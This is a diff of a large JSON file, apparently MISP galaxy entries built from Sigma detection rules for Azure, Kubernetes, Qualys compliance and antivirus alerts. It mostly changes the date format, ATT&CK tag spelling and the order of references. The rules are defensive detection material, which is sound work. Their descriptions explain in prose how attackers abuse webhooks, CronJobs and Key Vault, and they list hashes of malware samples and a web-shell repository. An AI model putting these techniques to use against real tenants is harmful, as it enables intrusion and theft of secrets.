"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1578" ] }, @@ -95774,7 +96070,7 @@ "description": "Identifies when a VPN connection is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -95798,7 +96094,7 @@ "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "meta": { "author": "sawwinnnaung", - "creation_date": "2020/05/07", + "creation_date": "2020-05-07", "falsepositive": [ "Valid change" ], @@ -95830,7 +96126,7 @@ "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", "meta": { "author": "@ionsor", - "creation_date": "2022/02/08", + "creation_date": "2022-02-08", "falsepositive": [ "Authorized modification by administrators" ], @@ -95863,7 +96159,7 @@ "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "meta": { "author": "sawwinnnaung", - "creation_date": "2020/05/07", + "creation_date": "2020-05-07", "falsepositive": [ "Valid change" ], @@ -95896,7 +96192,7 @@ "description": "User Added to an Administrator's Azure AD Role", "meta": { "author": "Raphaël CALVET, @MetallicHack", - "creation_date": "2021/10/04", + "creation_date": "2021-10-04", "falsepositive": [ "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." ], @@ -95910,7 +96206,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098.003", "attack.t1078" ] @@ -95938,7 +96234,7 @@ "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", + "creation_date": "2021-11-25", "falsepositive": [ "Azure Kubernetes Admissions Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -95954,7 +96250,7 @@ "tags": [ "attack.persistence", "attack.t1078", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.007" ] @@ -95989,7 +96285,7 @@ "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96004,7 +96300,7 @@ ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -96024,7 +96320,7 @@ "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96048,7 +96344,7 @@ "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96058,16 +96354,16 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_network_policy_change.yml" ], "tags": [ "attack.impact", - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", @@ -96077,7 +96373,7 @@ "description": "Identifies when a application security group is modified or deleted.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Application security group being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96102,7 +96398,7 @@ "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Suppression Rule being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96127,7 +96423,7 @@ "description": "Identifies when a new cloudshell is created inside of Azure portal.", "meta": { "author": "Austin Songer", - "creation_date": "2021/09/21", + "creation_date": "2021-09-21", "falsepositive": [ "A new cloudshell may be created by a system administrator." ], @@ -96160,7 +96456,7 @@ "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96170,16 +96466,16 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml" ], "tags": [ "attack.impact", - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", @@ -96189,7 +96485,7 @@ "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Key being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96205,7 +96501,7 @@ ], "tags": [ "attack.impact", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.001" ] @@ -96233,7 +96529,7 @@ "description": "Identifies when a key vault is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Key Vault being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96249,7 +96545,7 @@ ], "tags": [ "attack.impact", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.001" ] @@ -96277,7 +96573,7 @@ "description": "Identifies when a Firewall Policy is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96292,7 +96588,7 @@ ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.007" ] }, @@ -96312,7 +96608,7 @@ "description": "Identifies when a service account is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96322,11 +96618,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_service_account_modified_or_deleted.yml" ], "tags": [ @@ -96350,7 +96646,7 @@ "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96360,11 +96656,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://attack.mitre.org/matrices/enterprise/cloud/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml" ], "tags": [ @@ -96378,7 +96674,7 @@ "description": "Identifies when a application gateway is modified or deleted.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Application gateway being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96403,7 +96699,7 @@ "description": "Identifies when DNS zone is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96437,7 +96733,7 @@ "description": "Identifies when a application credential is modified.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "Application credential added may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -96462,7 +96758,7 @@ "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", "meta": { "author": "sawwinnnaung", - "creation_date": "2020/05/07", + "creation_date": "2020-05-07", "falsepositive": [ "Valid change" ], @@ -96495,7 +96791,7 @@ "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "Legitimate AAD Health AD FS service instances being deleted in a tenant" ], @@ -96508,7 +96804,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1578.003" ] }, @@ -96528,7 +96824,7 @@ "description": "Identifies when a firewall is created, modified, or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96543,7 +96839,7 @@ ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -96563,7 +96859,7 @@ "description": "Identifies when a device in azure is no longer managed or compliant", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Administrator may have forgotten to review the device." ], @@ -96586,7 +96882,7 @@ "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96610,7 +96906,7 @@ "description": "Identifies when a network security configuration is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", + "creation_date": "2021-08-08", "falsepositive": [ "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -96634,7 +96930,7 @@ "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/22", + "creation_date": "2021-11-22", "falsepositive": [ "Azure Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -96645,15 +96941,15 @@ "logsource.product": "azure", "refs": [ "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cronjob.yml" ], "tags": [ "attack.persistence", "attack.t1053.003", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.execution" ] }, @@ -96673,7 +96969,7 @@ "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -96687,7 +96983,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562", "attack.t1562.001" ] @@ -96715,7 +97011,7 @@ "description": "Identifies when an account hasn't signed in during the past n number of days.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate if potential generic account that cannot be removed." ], @@ -96730,7 +97026,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96749,7 +97045,7 @@ "description": "Identifies when an organization doesn't have the proper license for PIM and is out of compliance.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate if licenses have expired." ], @@ -96764,7 +97060,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96783,7 +97079,7 @@ "description": "Identifies when a privilege role can be activated without performing mfa.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate if user is performing MFA at sign-in." ], @@ -96798,7 +97094,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96817,7 +97113,7 @@ "description": "Identifies when a user has been assigned a privilege role and are not using that role.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate if potential generic account that cannot be removed." ], @@ -96832,7 +97128,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96851,7 +97147,7 @@ "description": "Identifies an event where there are there are too many accounts assigned the Global Administrator role.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate if threshold setting in PIM is too low." ], @@ -96866,7 +97162,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96885,7 +97181,7 @@ "description": "Identifies when the same privilege role has multiple activations by the same user.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate where if active time period for a role is set too short." ], @@ -96900,7 +97196,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96919,7 +97215,7 @@ "description": "Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.", "meta": { "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'", - "creation_date": "2023/09/14", + "creation_date": "2023-09-14", "falsepositive": [ "Investigate where users are being assigned privileged roles outside of Privileged Identity Management and prohibit future assignments from there." ], @@ -96934,7 +97230,7 @@ "tags": [ "attack.t1078", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -96953,7 +97249,7 @@ "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/19", + "creation_date": "2019-03-19", "falsepositive": "No established falsepositives", "filename": "host_without_firewall.yml", "level": "low", @@ -96961,8 +97257,8 @@ "logsource.product": "qualys", "refs": [ "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" ], "tags": "No established tags" @@ -96974,7 +97270,7 @@ "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", + "creation_date": "2019-03-26", "falsepositive": [ "Unknown" ], @@ -96984,13 +97280,13 @@ "logsource.product": "qualys", "refs": [ "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" ], "tags": [ - "attack.initial_access" + "attack.initial-access" ] }, "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", @@ -97000,7 +97296,7 @@ "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2019/03/26", + "creation_date": "2019-03-26", "falsepositive": [ "Unknown" ], @@ -97010,12 +97306,12 @@ "logsource.product": "No established product", "refs": [ "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", @@ -97025,7 +97321,7 @@ "description": "Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields", "meta": { "author": "@juju4", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Inventory and monitoring activity", "Vulnerability scanners", @@ -97041,8 +97337,8 @@ ], "tags": [ "attack.exfiltration", - "attack.initial_access", - "attack.privilege_escalation", + "attack.initial-access", + "attack.privilege-escalation", "attack.t1190", "attack.t1505.001" ] @@ -97067,10 +97363,10 @@ "value": "Suspicious SQL Query" }, { - "description": "Detects a highly relevant Antivirus alert that reports a password dumper", + "description": "Detects a highly relevant Antivirus alert that reports a password dumper.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/09/09", + "creation_date": "2018-09-09", "falsepositive": [ "Unlikely" ], @@ -97079,13 +97375,13 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ + "https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448", "https://www.nextron-systems.com/?s=antivirus", "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619", - "https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_password_dumper.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1558", "attack.t1003.001", @@ -97126,10 +97422,10 @@ "value": "Antivirus Password Dumper Detection" }, { - "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", + "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name.", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2018/09/09", + "creation_date": "2018-09-09", "falsepositive": [ "Unlikely" ], @@ -97142,7 +97438,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_relevant_files.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588" ] }, @@ -97159,10 +97455,10 @@ "value": "Antivirus Relevant File Paths Alerts" }, { - "description": "Detects a highly relevant Antivirus alert that reports ransomware", + "description": "Detects a highly relevant Antivirus alert that reports ransomware.", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2022/05/12", + "creation_date": "2022-05-12", "falsepositive": [ "Unlikely" ], @@ -97172,11 +97468,11 @@ "logsource.product": "No established product", "refs": [ "https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7", - "https://www.nextron-systems.com/?s=antivirus", - "https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045", "https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d", - "https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c", + "https://www.nextron-systems.com/?s=antivirus", "https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916", + "https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c", + "https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_ransomware.yml" ], "tags": [ @@ -97196,10 +97492,10 @@ "value": "Antivirus Ransomware Detection" }, { - "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", + "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool.", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Unlikely" ], @@ -97208,8 +97504,8 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/?s=antivirus", "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", + "https://www.nextron-systems.com/?s=antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml" ], "tags": [ @@ -97230,10 +97526,10 @@ "value": "Antivirus Hacktool Detection" }, { - "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", + "description": "Detects a highly relevant Antivirus alert that reports a web shell.\nIt's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches.\n", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2018/09/09", + "creation_date": "2018-09-09", "falsepositive": [ "Unlikely" ], @@ -97242,16 +97538,16 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", + "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", "https://www.nextron-systems.com/?s=antivirus", + "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", - "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", "https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection", "https://github.com/tennc/webshell", - "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", 